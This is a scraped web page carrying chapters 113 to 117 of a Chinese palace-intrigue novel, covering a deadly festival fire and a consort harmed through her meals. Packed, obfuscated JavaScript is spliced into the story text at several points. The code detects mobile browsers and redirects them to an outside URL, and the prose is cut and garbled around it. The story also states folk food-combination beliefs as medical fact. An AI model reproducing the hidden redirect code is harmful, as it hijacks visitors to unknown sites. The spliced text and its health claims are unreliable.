l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242546|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然怎么会让母后如此绝望。 太子妃这时替夫君解围。 “母后,儿媳有一个小主意。” 太子妃郭宁容貌只能称之为上乘,当年能被侧妃为太子妃,也是她性子平和温婉,相处下让人心情熨贴,是个会伺候人的性子。 加之她出身傅平伯府,娘家权势不显,在后宫翻不出风浪。 可郭宁这人外表看似谦卑恭敬,内心却是个喜欢争强好胜的性子。 她这些年又无子嗣,加之人人都觉得太子不过是占着位置,根本不可能继承大统,所以她在后宫几乎是透明人。 可她不甘一世如此,便努力讨好皇后,帮着皇后协理后宫,这才让人不敢小觑。 “母后,儿媳无意中发现,今春秀女大选,那凤家女也在登记造册之中。” “哦?凤家如今庶民身份,竟然送女入宫,好大的胆子。” 郭宁轻轻伸出手,附在母后的手背上。 “母后,您觉得,依着余贵妃那精明的性子,为何不将她从秀女资格之中筛选下去?” 朱氏稳坐皇后多年,得皇帝爱重,又怎么会是没有脑子之人。 她转念便想通了,“余家受安国公牵连,如今事事掣肘,安王因此被禁了足,那**是想让人入宫,给她颜色?” 郭宁浅笑勾唇,“只被磋磨又哪里够解恨,怕是想利用那女子再给凤家叩个罪名才是真。” 她近身到朱皇后身边,附耳道:“母后,不如我们将计就计,让那女子……” 她将自己的主意说完,皇后忽然心情就好了起来。 “确实是个**不见血的好主意,那盛青岚原本就与德妃走得近,凤家想依附靖王,我们就让他们成了安王的人。让他们二人相斗,我儿便可坐收渔翁之利。” “是呢母后,过了十五就可以办春宴了,这可是绝佳的机会。” 朱皇后忍了一晚上的怒气,一瞬间便平了。 她欣慰地反握了儿媳妇的手,“有时间还是要好好调养身子,早日给本宫诞下皇子,如此本宫就什么都不争了。” 郭宁心下一酸,她何尝不想有子嗣,可是太子的身子…… 时景年也是暗暗收紧了拳头,他是该想个法子,了了母亲所愿了。 第一百一十三章神龙起火了 元日是新的一年开始,是一年当中第一个节日,这一天京城办有夜集。 宫良在京置办了宅院,是魏锦找的住处,就在魏府后街,如此方便宫大夫进出给祖父看诊。 魏锦早早派人带了话,晚间他来接凤南茵去夜集逛逛。 他自从晓得自己心意后,他便不再视小丫头为孩子,总是盼着在她入宫前能多陪陪。 今夜他特意做了打扮,一身藏青色狐狸裘皮大氅裹身,头戴白玉发箍,内里一身月白色锦缎直裰,下摆绣着好大一团图样。 夜光下,一身锦衣越发衬得他风流倜傥,仪表不凡。 他毫不见外地进了小院,看到丫头带着人正准备出门,笑露一排皓齿。 “我来得还真是时候,等不及了?” 凤南茵上下打量他,不明白逛个夜集,这人穿的这般花枝招展做什么。 “听说舞狮戌时就开始了,不早一点出发都没时间逛吃了,这不想去你府上寻你呢。” 魏锦宠溺地看着她,“有我在,还能让你错过热闹。” 凤南茵笑得眉眼弯弯,一张小脸也不似初见时那般干瘪,生出了不少的肉,笑起来唇角多了一对梨涡,一口米粒般贝齿,笑的纯真无邪的样子。 “是啊,有你在,今晚我要吃遍整条街。” 魏锦就是喜欢她这种遇到天大烦心事都乐天的性子。 他抬手,将自己带来的狐狸毛领系在南茵脖颈间。 “天寒,戴上这个再出门。” 凤南茵抚摸着柔软的白狐狸皮**,定定地看着眼前高出她一个肩头的魏公子。 他待自己是不是太好了? “这个贵重,我不能要。” 魏锦有些不高兴,“一个**脖领,我自己猎的,哪里就称上贵重了。” 花之却是在心中替公子轻叹。 那是公子十八岁外出狩猎打到的白狐,全身上下无一丝杂色,收拾出来后一直宝贝收着,府上大小姐多次讨要都没给。 现在他自己说不值钱。 公子的这份心意,也不知能不能得到回应,忍不住暗暗摇头。 凤南茵轻轻晃动脸颊蹭处毛领,柔软的触感让人很舒服,特别的暖。 “既然白送我,那我就收了,说好了,我可没有回礼。”凤南茵笑得没有心机,却是将心中那浅浅生出的涟漪给强行压下。 过了今日,她就十四岁了,这里没有人知道元日这天也是她生日。 抚摸着狐狸领,她当作这是魏锦送自己的生辰礼,同时也将懵懂的男女情爱给遮掩了去。 她的前路一片茫然,男女之情不是她能奢想的。 她知道魏锦待自己好,可日后她入了宫,与魏锦便没了相见之日,她不能回应,也不敢回应。 魏锦笑她,“我可听宫大夫说,你手中有不少银钱,没想到你这般地抠。” 凤南茵好似明白了他的心意,可她只能装作不懂,男女不可私相授受,自己不能给对方承诺,便不能耽误人。 她故作生气地道:“哪有送人生辰礼还要回礼的。” 魏锦这才后知后觉,“今天你生辰?你怎么不早说?” 凤南茵率先上了马车,坐定后无所谓地笑了笑,“没什么好说的,是我生辰,也是被家人抛弃的日子。” 所以她并不想庆祝。 魏锦暗暗心疼她,“今晚你相中什么,我都给你买了,从今往后,你每个生辰我都会给你送礼物。” 凤南茵鼻尖一酸,紧抿着唇看他,心中滋味百转,最后什么也没说出来。 宫良追出来,放进车中一个手炉,“街上人多,注意安全,早点回来。” 凤南茵笑着对师伯摆手,“师伯放心,我们看看热闹就回来。” 宫良已经知道丫头的决定,看了一眼魏锦,打了一个嗨声,最后点点头。 “去吧,大好的年华是该尽情的欢乐。” 这孩子过得太苦了。 京城盛世,一年就三次,半个京城的人都出动了,还没有到天桥大街,马车便走不动了。 魏锦带人提早下了马车,也不急着带人去看舞龙狮,小丫头一路对什么感兴趣,就掏荷包买下来。 不一会,凤南茵左手捏着糖人,右手举着糖葫芦,一张小脸被塞得鼓鼓的,水水怀里还有糖糕、烤红薯、烤板栗,同样一张小嘴塞的满满的。 周婶子左手上挂着川脸面具,右手提着兔儿灯,怀里还抱着一个超大的提线木偶匣子。 “咱们耽误了时间,好位置怕没有了。”凤南茵惋惜地道。 远远的,石拱桥上全是人,下方由官兵围出的警戒线里外三层全是人。 魏锦冲她眨眨眼。 “我带你出来,还让你和人群挤着?” 伸手,一把拄住凤南茵的手,原本他没有多想,只是不想人群将她冲散,可是那柔软不算细腻的触碰瞬间,他竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242547|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不想撒手。 凤南茵想挣脱,扯了几下都不成,一张小脸涨得酡红。 “人多,冲倒了很危险。”他干涩地解释,可只有他自己清楚,这手他多想一直握着,不让她再受委屈。 二人进了福来茶楼,凤南茵再次用力抽手,魏锦这才不得不松开。 “走吧,外面锣鼓喧天了,应该开始了。” 凤南茵酡红着一张小脸跟着上楼。 周婶在后面跟着,将一切都看在心里,心中叹气。 若是没有承阳侯府那一出,二小姐嫁给锦公子,该是多么好的一对璧人。 可惜…… 雅室内,靖王与奚子明都坐在这里,窗开着,房间内茶香四溢,炉上热的水翻腾着氤氲。 凤南茵一进来,看到几位贵人忙上前见礼。 心道:“她就想来看个热闹,怎么靖王也在这里。” 多次承他的情,见了这人总觉得拘禁。 靖王只是淡淡瞥了她一眼,便将窗口的位置让了出来。 “这舞龙每年都一样,也没个新意。” 凤南茵用眼轻轻瞥了他一眼,欢喜地招着水水过来看。 “快看,下面好热闹。” 两个小丫头瞬间被下面舞动的欢庆吸引了全部注意力,叽喳的没完。 几十人组成的双龙,在偌大的空街上翻出各种姿势,双龙交汇时,那龙嘴里还会吐火舌,引得下面百姓一阵阵惊呼。 有人开始往内洒钱,随后在那龙头盘踞着龙身向走向梯型木桩越蹬越高时,百姓纷纷跪拜下去,各自祈祷今年能五谷丰登,过一个富足之年。 魏锦在她身后解释,“这舞龙从承德帝元年便开始创办了,是朱皇后为天下百姓祈福所起,今日得来捐献的银两都会用在惠民署给百姓免费义诊上,延续至今已受多地效仿。” 凤南茵只一个走神间,便有**喊出声。 “着火了!” “啊,神龙着火了。” “神龙莫名着火,上天是要降罚天谴吗?” 刚刚还龙腾雀跃的长龙,忽然龙身开始起火,那些火舌像长了眼一样往舞龙者身上砸落,二十几人跌落高台,在地上翻滚,那火竟是扑不灭,不一刻就有人活活烧死。 “出事了。” 靖王快速来到窗前,眼神凌厉地搜寻着下方人群,很快,他在**上看到身罩墨色大氅的熟悉身影。 “四哥?” 第一百一十四章事发意外 安王高高站在桥中心最高处,冷漠地看着下方乱作一团的大火,不经意间,他瞟向福来茶楼,随后快速戴上兜帽,带人离开。 靖王给一旁的齐郎使了一个眼。 凤南茵就见身旁一道黑影翻身跳了下去,窗扇被靖王合上。 她看向靖王,眼中有不解。 “浓烟向上滚,仔细伤了眼。” 凤南茵轻咳两声,刚刚只顾着瞧原由,竟没发觉得这房间已经很呛。 “现在外面骚乱,暂时不宜下楼,待官兵处理完火势,百姓散去再走。” 凤南茵犹豫了半晌,忍不住道:“我刚瞧得仔细,那龙自己就燃了,火起的莫名其妙,为何会这样?” 而且那火开始燃的时候还发着蓝光,诡异的很。 靖王与奚子明还有魏锦三人对视。 本不想与凤南茵多言,想到不日她便要入宫,便将心中怀疑分析出来。 “这舞龙是朱皇后一手创办,早年我朝确实风调雨顺,内外无战乱,百姓无不歌颂娘娘贤德。可随着太子大婚后迟迟无子,朝中便有了废立太子的风声,只不过那时朱家势大,虽有人不满,到底不敢公然挑衅。” 他食指轻轻叩着桌案,“今日为百姓祈福的神龙出事,怕是针对皇后去的,这应该是有人坐不住,要开始动手了。” 奚子明担心地皱眉,“若是钟粹宫那位真的坐上高位,下一个要对付的怕就是王爷您了。” 有太子在前挡着,靖王到底不显。 “不管此事想影射什么,皇后的位置暂不可撼动。”时机还不成熟,绝对不能让小人得了意。 他看了一眼凤南茵,“不要急于回去,本王有事先行入宫一趟。” 今夜四哥也在,怕是看到了他与凤南茵在这里,他不想四哥拿小丫头搞事。 魏锦道:“我带人出来的,我会平安将人送回的。” 靖王看了他一眼,“此事还要与太师大人提个醒,叫他有个准备,明日朝堂怕就会有风声。” “好。” 下面的哭闹声慢慢散了,魏锦道:“今日不安,我送你们回去。” 出来的好兴致被一场大火给败的精光,回去的路上,她看到有少数百姓受火势牵连,被踩伤,就近的医馆前都是伤患。 **很多人,至少那二十几名舞狮的人都出事了,凤南茵心情沉重。 权势争斗真的好可怕,这些惨死的人,还有百姓何其无辜。 魏锦几次开口,“南茵,现在反悔还来得及,那些人为了私利任何人都可以牺牲,后宫远比你想的还要可怕。” 经过这晚,凤南茵确实发现自己当初的决定有多幼稚,似她这种身份,被人随意碾死都不会有人负责。 她心中生了胆怯,“我考虑一下。” 魏锦着急,“这事还要考虑吗?你若不知怎么开口,我向靖王亲自提。” 凤南茵点点头,她承认自己胆怯了,再没有倔犟地选择坚持。 魏锦忍不住松了一口气,“明日我就向靖王说明。” 只要丫头不用入宫,他就有办法向丫头提出求娶。 这一刻,他说不出的欢喜,感觉自己终于守得云开,日后一定好好珍惜丫头。 凤南茵这一夜都睡得不安生,闭上眼就是那些烧死的舞狮人,他们至死都不知因为什么,本是无尚欢庆的日子,白白成了别人的祭品。 翌日,她脸色惨白,眼下全是乌青。 宫良担忧地看了她几眼,伸手就放到了凤南茵的脉搏上。 “受了惊吓?” 昨天回来的晚了,宫良还不知天桥大街那里出了事,只是一脸担忧地看着她。 凤南茵不想他担忧,师伯为自己做了太多了。 她只道:“昨天看舞龙的时候,那边出了意外,又有好多无辜百姓受了伤,只是觉得人生无常,明明欢喜去看个热闹,就有人搭了性命。” 宫良听闻是这件事,也只能无奈地叹息。 “世事无常,过好自己的当下的日子才是最重要。” 南茵这孩子就是心太重了,背负了太多不该属于她这个年纪的包袱,这才是让人心疼的地方。 这边早饭还没吃完,院门被人敲响。 今日宫中派嬷嬷过来教凤南茵规矩,周婶惦记这事,忙起身。 “我去看看,莫不是宫里来人了?” 凤南茵喝了一口粥,心下疑惑。 宫里这么早就派人来? 大门打开,一辆低奢马车停在门口,一位颚下无须的中年男子手拿拂尘哑着嗓子问:“请问凤二姑娘可在府上?” “请问您是?” 车帘这时挑开,靖王向周婶轻轻颔首,“叫她准备一下,立即随本王入宫。” 夏公公拿过一套衣衫,“杂家是钟粹宫的总管夏公公,麻烦凤二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242548|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘将这身衣衫换上,德妃娘娘有请。” 周婶是认得靖王的,她不敢怠慢,忙接过了衣裙向内院走。 凤南茵见她手里捧着衣物,眼中有担忧,问:“是谁?” “靖王叫小姐您入宫,说德妃有请。” 她将衣服奉上,“叫您换了衣裙就出去。” 凤南茵疑惑,说好了今天会派嬷嬷过来教她礼仪规矩,三月随秀女一同入宫,怎么事情有变了? 宫良见送过来的是宫女衣裙,此去怕是不能回来了,他不放心,起身准备问个清楚。 “我去看看。” 靖王没有下车,夏公公立在府门口,见到宫良浅浅行了一礼。 “宫院判,多年未见。” 宫良忙弯腰见礼,“夏公公,老夫不做太医多年,可担不起您问礼。不知娘娘召见丫头具体是什么事?” 夏宫宫回头看了一眼,见靖王颔首,这才压低声音。 “娘娘近来身体出了状况,多处不适,靖王怀疑吃食上有问题,听闻凤二姑娘熟识药理,想让她入宫陪在娘娘身侧,在膳食上替咱们娘娘把把关。” “可这丫头年纪尚小,又不懂宫中规矩,这恐怕……” “无碍,老奴亲自带人入钟粹宫,只需小住数日查明内情便送人出宫,断然不会让凤二姑娘有事。” 宫良无法,只能应道:“如此有劳公公多多照应提点,劳您费心了。” 在送凤南茵上马车前,宫良给了夏公公好大一袋财帛,被夏公公婉拒了。 “是咱们麻烦凤二姑娘,老奴可万万不敢收这银钱。” 有靖王在后面盯着,又是王爷请来的贵人照看娘娘身子,给他十个脑袋也不敢收这银钱。 宫良到底不放心,将银子交给了凤南茵。 “你在钟粹宫中,师伯不担心,但是出门在外有银钱傍身总归心中踏实,这钱你带着。” 靖王:“每日我会命人给你送消息,宫大夫大可放心。” 凤南茵坐上马车后,心中局促,“王爷,娘娘是哪里不适?” 她学医不精,怕不能担当重任。 靖王面沉似水,若不是昨日他突然入宫,还不知母妃身体糟糕到意外昏倒,这么久竟是一直瞒着他。 “母妃身体一向康健,饮食有专人试毒,可是身子还是出了意外,本王怀疑母妃身边之人被人收买,宫中之人我皆不信任。” 第一百一十五章入宫 凤南茵垂了头,心中踌躇着要不要将自己不想入宫的事情讲出来。 靖王先开了口:“凤南茵,这一次若你帮母妃化险为夷,揪出母妃身边心怀叵测之人,你便是我时景轩的恩人,母妃那里也会无偿地护你周全。” 凤南茵抬头,纯净的眸子里多了一分了然,她只轻轻点了点。 昨夜京城的惨剧在百姓心中笼上一层阴影,街道上的行人异常的少,原本繁华的京城今日无比萧瑟。 二人一路无话,马车很快到了宫门口。 夏公公与守门侍卫打了招呼,凤南茵被带入宫中。 为不引起后宫人注意,靖王并没有同行。 凤南茵一路低垂着脑袋,谨小慎微地跟在夏公公身后一路前行。 她没进过宫,去过最大的府邸就是安国公府,只觉皇宫无比之大,似是没有尽头。 安国公府繁盛奢华,一步一景,四下都有丫鬟的窃窃私语。 而此时她第一感想就是压抑,宽敞的宫道在无限的延伸下,显得逼仄,五丈高的宫墙让人只能看到头顶的一片天空。 四下一片寂静,哪怕偶有路过的宫人,也都是轻步疾行,听不到半点声响。 凤南茵在这样的环境下,连呼吸都不敢用力。 好不容易到了钟粹宫,夏公公才开口。 “我去回了娘娘,凤姑娘在此稍候。” 凤南茵这才敢抬头张望,原来一宫妃嫔的住所也不过一套二进的院子,不比寻常人家宽敞多少。 宫殿却是肃穆巍峨许多。 没等细瞧,一位上了年纪的姑姑已经出来相请。 “凤二姑娘,咱们德妃娘娘有请。” 凤南茵入殿,看到高位上坐着的妇人,忙垂下了头。 “凤二姑娘,还不给德妃娘娘请安。”夏公公的语调温和,让凤南茵紧张的心稍缓。 “民女见过德妃。” 德妃轻轻应了一声,“到近前来,让本宫仔细瞧瞧。” 凤南茵从地上站起来,跪到德妃身前。 “抬起头让本宫瞧瞧?” 凤南茵抬起一张稚嫩的小脸,眼里有掩饰不住的好奇,也在偷偷打量德妃。 德妃见过凤南蓉几次,而眼前这丫头明显比她姐姐长得瘦小许多,似是还没长开,没有她姐姐打眼。 可是眼里的灵动和纯真,是凤南蓉那擅于算计性子里没有的。 “你这双眼睛,与你母亲未出阁前竟是一模一样。” 凤南茵眨了眨,她与母亲的眼睛一样? 可她在母亲眼里看到的都是算计和虚伪,后来每每用慈爱的目光看她,她都想避开。 德妃呵笑一声,“你的事,本宫都听说了,你放心,本宫不会因为青岚是我的蜜友,便对你有偏见,你帮了轩哥多次,看在他的面子上,本宫也会礼待于你。” 凤南茵慢慢垂下头,应着。 “谢娘娘。” “起来吧,到本宫身边坐。” 凤南茵小心走上前,看了一眼德妃那张铺着满绣的锦缎软榻,最后坐到了她脚边的脚踏上。 德妃很是满意她的态度,心道是个有规矩和眼色的姑娘。 至少,比那凤南蓉要乖巧讨喜。 “你被诏进宫里,知道原由吧?” “靖王与民女说了,是娘娘身体不适,晓得民女会些饮食的调节法子,尽量为娘娘改善调养一下身体。” 德妃很是满意。 如今这钟粹宫出了内鬼,可殿前伺候她的皆是跟随多年的老人,她不知防着谁好,又去信任谁。 这丫头知道不说破,可见是个聪明的。 她伸出手,“左右无事,不如你给本宫瞧瞧,本宫也想知道你的本事如何?” 凤南茵轻轻搭上脉搏,仔细感受了片刻,收回手。 “小女学医尚浅,若是看着玩的话,说出来怕娘娘恼我。” 她说完,向德妃俏皮地眨眨眼睛。 德妃被她逗得忍不住想笑,这丫头分明是看出了什么。 “你大胆说,从你母亲那里论,你都可以管本宫唤一声姨母了,不用拘禁。” 凤南茵发现德妃很是平易近人,不似靖王那般总是冰块着一张脸,让人不敢说话。 “娘娘,民女怕被人嘲笑不懂还卖弄,能不能将这些先姐姐都屏退了?” 她稚嫩童真的话语惹得德妃哈哈大笑,“哎呦,靖王给本宫举荐的这个丫头还是个怕人说嘴的。” “好好好,你们都先下去。” 身边的人都退尽了,只余一个上了年纪的老嬷嬷和夏公公在近前。 凤南茵晓得,这二人该是德妃十分信任之人。 “说吧,她二人跟了我二十余载,最是可信。” 她点点,正了脸色道,“娘娘的脉象应是伤了元气,您近半年多梦睡不安稳,后脱发严重,这期间应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242549|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是调养过身体,可是药汤喝过之后,食欲越发不振,慢慢又出现头晕的病症,今日诊娘娘的脉象,还有腹胀腹泻的情况。” 周嬷嬷惊讶地看着凤南茵,没想到小丫头小小年纪,竟然说得这样准。 “娘娘,不会是靖王与她说的吧?” 德妃摇头,她都未曾告诉轩儿这些,这丫头看来有几分本事。 凤南茵道:“靖王只与小女说娘娘似是中了毒,但是找不到**的原因,并未与小女多言其它。” 德妃叹了一声,“这些年,为了轩儿,我也是极其注意养生,可这才过了四十岁,就多方毛病一起找了上来。” “娘娘,元气所伤无非那几点,过度劳累、饮食不节、情志失调、久病慢病、年老体衰。” “娘娘正直春秋鼎盛之年,最后一项不占,民女为您把脉,也无陈年旧疾,那么就看后三种原由,娘娘属于哪种?” 周嬷嬷道:“咱们娘娘向来不参与后宫琐碎,喜静气养生,也是想得开的性子。” 德妃不喜争斗,靖王是个让她省心的孩子,所以她确实没有犯前两种。 “可这饮食不节,似也不对。”她平日少食,因怕发福很注意节制,从不贪嘴。 凤南茵也不好妄下定论,“即如此,等娘娘用膳时,先由民女品尝,许是问题真的出在膳食上。” 周嬷嬷道:“早膳传上来后娘娘还未用,不如老奴现在就带凤二姑娘去看看?” “也好。” 内殿的茶桌上摆了几样精美的糕点还有汤水,餐盘旁还有银针。 可见德妃也是担心有人要害她,可那银针并未变色,显然没有试出毒素。 凤南茵每一样点心都掰开来仔细看了,同时浅尝。 就连汤水都盛了一碗喝了,不得不说,除了在靖王的浮春雅苑,这里的早膳,是她吃过最美味的吃食。 她一边品尝,周嬷嬷一边在旁解释。 “这个是糯米鸡肉烧麦,娘娘近半年来最喜的一道主食。” “这汤叫春晓生肌汤,配了新鲜的生芹去腥去脂,对皮肤好。” “这道羊肉炒小笋开胃。” “这道蛋皮如意卷里裹的是红薯泥,软糯香甜。咱们娘娘也很是爱吃。” 凤南茵每一道尝完,又听了嬷嬷解释过后,蹙了眉头。 “我可以肯定,这些菜里都没有下毒,但是娘娘的病,确实是从饮食上所出。” 第一百一十六章食物相克** 周嬷嬷虎了脸。 “丫头,你年纪小,说话可得注意分寸。”周嬷嬷因为凤南茵说娘娘饮食不节制,称呼都换了。 凤南茵寻思了一会,明白周嬷嬷在想什么了。 “嬷嬷,我的意思是,娘娘的这一桌子吃食,所有食物搭配起来,全是相克之物,这一桌看起来用心,精致的美食,长久食用下去,肯定是要伤身的。” “啊!?食物还有相克。” “这药搭配可以治病,吃食相互搭配可以滋养,可是胡乱随性使用,同样会伤身。” 周嬷嬷听出关键,忙将她往德妃面前领。 “这事必须告知娘娘,你细细说。” 凤南茵点头。 德妃已经听到二人对话,她脸色也是难看的紧。 “丫头,你现在就说说看。” 凤南茵见她听到了,就指着那汤,“我从对身体最轻的汤说起,这汤用了鸡做高汤,里面只加了一点切碎的西芹做调味降脂,喝起来确实只有鲜,没有腻。” “可是娘娘,鸡配芹菜,久用伤元气。” 德妃怔住,“可是这汤,我每七日才用一顿,不算常用也能伤身?” 凤南茵没有回她,而是指着那碟烧麦,“糯米配鸡肉也是相克食物,久食会引起腹部胀气,不好消化。” “这碟子羊肉炒笋更厉害了,两物搭配是有毒的。” 她把其原理,按自己对药草与食物的理解详细说完,德妃脸色变了几变。 “周嬷嬷,你今日就去御膳房偷偷盯着,送到本宫这里的吃食可还送给别的宫中。” 若是单独为她准备的,就不是御厨的无知,而是有人刻意而为。 “别惊动任何人,只在暗处盯着。” “是,娘娘。” 御膳房的人她暂时不动,此事她不想闹大,皇上因为天龙起火一事已经震怒,皇后那里自身难保,她要动人,就要经过贵妃,没有证据只会让贵妃反咬一口。 这事,要慢慢谋划。 一日三餐,凤南茵已经极为肯定有人就是用相克的食物暗害娘娘。 御膳房送来的吃食不能用了。 钟粹宫的小厨房久未用,只能暂做点心。 德妃饿了大半日的肚子,坐在锦榻上气得胸口起伏。 她抚摸着自己越发后退的发际线,竟然不知不觉着了他人半年的道。 “为了害我,还真是用心良苦。” 凤南茵想着,她既然入宫了,只指出饮食上有问题还不够,想要日子好过,就要体现自己的价值。 干脆,在夏公公出去置办吃食时,她罗列了一些药材。 她准备给娘娘用药膳调养身体,如此比喝汤药见效慢,但不伤肠胃。 也不用她亲自动手,只要她将要用的食材搭配好,说明用药的关键,剩下的厨娘比她有经验。 知道事情出在御膳房,不是钟粹宫出了内鬼,所有宫人都暗暗松了一口气。 这些人对凤南茵也是感激不已,否则她们相互之间存着猜忌,在主子面前也不敢多言,别提日子多压抑难熬。 凤南茵一瞬间就成了钟粹宫最是讨喜的人。 一连用了七日,德妃的精气神越来越好,对凤南茵也是越来越倚重,丫头不但短短时间让她精气神大好,甚至一顿苦汤药都没用。 靖王这日入宫来看母妃,他已经从魏锦那里得知,凤南茵有不想入宫的打算。 用餐时,他对桌上新吃食也是惊艳不已。 “想不到南茵有这等本事,这每一道汤对身体都有滋补的益处,若是传出去,不知多少人受用。” 德妃:“如今非常之时,这食谱你想自用可以拿回去试,外传就不必了,免得有人拿来做文章。” “对了母妃,可查出幕后之人?” 德妃落了筷子,脸色沉沉。 “那人做事倒是谨慎,送到我宫里的菜食,后宫每位娘娘处都有分布,只不过她们的吃食不会似我这般,每一样都被精心搭配,偶尔实用也不会似我这般伤到身子。” “翊坤宫也有送?” “周嬷嬷盯了几日,那里也有送,只不过她有孕后,自己开了小灶房,御膳房送去的吃食少之又少。” 凤南茵如今在德妃面前混得熟了,不再似刚来那般谨小慎微。 她不懂就想问:“娘娘,民女一直想不通,那人害您的目的是什么?” 从她了解的情况看,德妃位份虽高,却早已经没了恩宠,争风吃醋谈不上。 怕余家势大,所以想除之也不太聪明,有靖王在,德妃即便被害**,余家的势力也不会受影响。 难不成是结了仇? 德妃反问她,“若是你没发现问题所在,本宫一直这样饮食下去,身子还能撑多久?” 凤南茵不敢说。 “你直言就好,不必忌讳。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242550|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 德妃这样说,凤南茵还是不敢信口雌黄。 她小心翼翼道:“人的身体就像盛水的容器,容器出现裂纹时,只有少量的水溢出,可是外界的重物一直压着容器,崩裂之时,水就完全倾泄了。” 她的话很隐晦,可是靖王和德妃都听懂了。 身体问题是一点点出现的,等到不可逆转时,出事就是顷刻的事。 “若是娘娘一直腹泻,用了食物不克化,此消彼长,身体亏空会越来越重,体弱容易染病,到时候,恐怕风吹草动就会出事。” 最后两个字她说的极轻,可是听到二人耳朵里不由得出了一身冷汗。 “呵,本宫倒是想通了一件事。” 靖王看向母妃。 德妃:“三月选秀,今次参选的秀女里有保和殿大学士之女方云婉,还有晋安侯嫡长女谢宁,户部尚书长孙柳婷芳。” “这三人论家世,每一位都不适合与人为侧妃,若是皇上留在身边倒是罢了,若是指婚给轩儿,是安王与贵妃最不想看到的。” 靖王沉思:“方大学士如今是内阁之首,与余太傅不睦,户部尚书为人刻板,不牵扯党争,却把持着我朝经济,至于晋安侯,他手上十万大军是四哥最想要的势力。” 可惜,他两年前已经娶了荣国公府小姐为正妃,只为了得到龙禁尉,如今这支势力却被父皇收了回去。 而那姜氏圆滑又有手段,背靠荣国公府,他又休不得。 “四哥娶不了这三家女,贵妃竟生了这恶毒的心思。” 若是母妃在选秀时出了意外,他至少要为母亲守孝一年,赐婚也会因此耽误下来。 这些女子一旦侧封了品阶,便是皇帝的女人,余贵妃能轻易拿捏在手中,无人能越过她去。 德妃手上的护甲都攥进了肉里,她声音不重,语气却带满了恨意。 “本宫若咽下这口气,便妄为人母。” 她抓住凤南茵的手,无比感激道:“南茵,你定是上天赐给本宫的贵人,有你在我身边,本宫相信一定能解了这口恶气。” 靖王看了一眼凤南茵,这丫头若是想请辞离开皇宫,他会为其说情。 凤南茵一时间是想拒绝,可她替德妃解了眼下危机,怕是早已被贵妃知晓,自己已经是对方的眼中钉,离开皇宫不知又要惹上什么灾祸。 她更怕是牵累到师伯。 “娘娘,您这是想到了法子?” 第一百一十七章凤南茵的馊主意 德妃看着凤南茵那张稚嫩带着担忧的小脸,安慰道:“放心,本宫不会让你有危险,只是这忙还只能你来帮本宫,你放心,本宫不会亏待了你,本宫打算认你做干女儿,如此你留在宫中就不必受下人指使,你意下如何?” 凤南茵暗忖,这是德妃对她的报答? 德妃这等好意,哪容她拒绝的道理。 她心中有着欢喜,同时也很清醒。 德妃让她做的事情怕没那么简单,她一个无依无靠的孤女,娘娘给了这么大的回报,这事的风险一定很大。 靖王一旁提醒,“怎么还在发愣,还不谢恩。” 凤南茵可不敢不识抬举,忙跪下给德妃磕头,“我太欢喜了,所以忘记了规矩。” “南茵给母妃请安。” 德妃忙将她拉起来,“后妃认干女儿没那么容易,这事还得得皇上应允才成,待事真成了你再改口不迟,没成你也不要失望,至少在这后宫人人都晓得你是我喜爱之人,至少那些个下人不敢随意欺负了你。” 凤南茵知道做德妃的干女儿好处很多,可她现在更担心是德妃让她做什么。 德妃这时却是岔开了话题。 “轩儿,近来赈灾一事可还顺利?” 前安王赈灾出了事,后奚家公子从海外运了粮食缓了燃眉之急,各地缺粮的事情才得以暂缓。 母子难得坐下来吃一顿饭,德妃本是想找个轻松一点的话题,没想到靖王飞扬的眉角这时皱了皱。 “粮价虽然下调了许多,终是比寻常价贵了三倍,海运有风险,并不能确保粮食能在计划的时间安全抵达,中途一旦遇到风浪,或出了意外,粮仓会立即出现告急的事情。” 毕竟这一次灾情事关多省,缺口实在太大了。 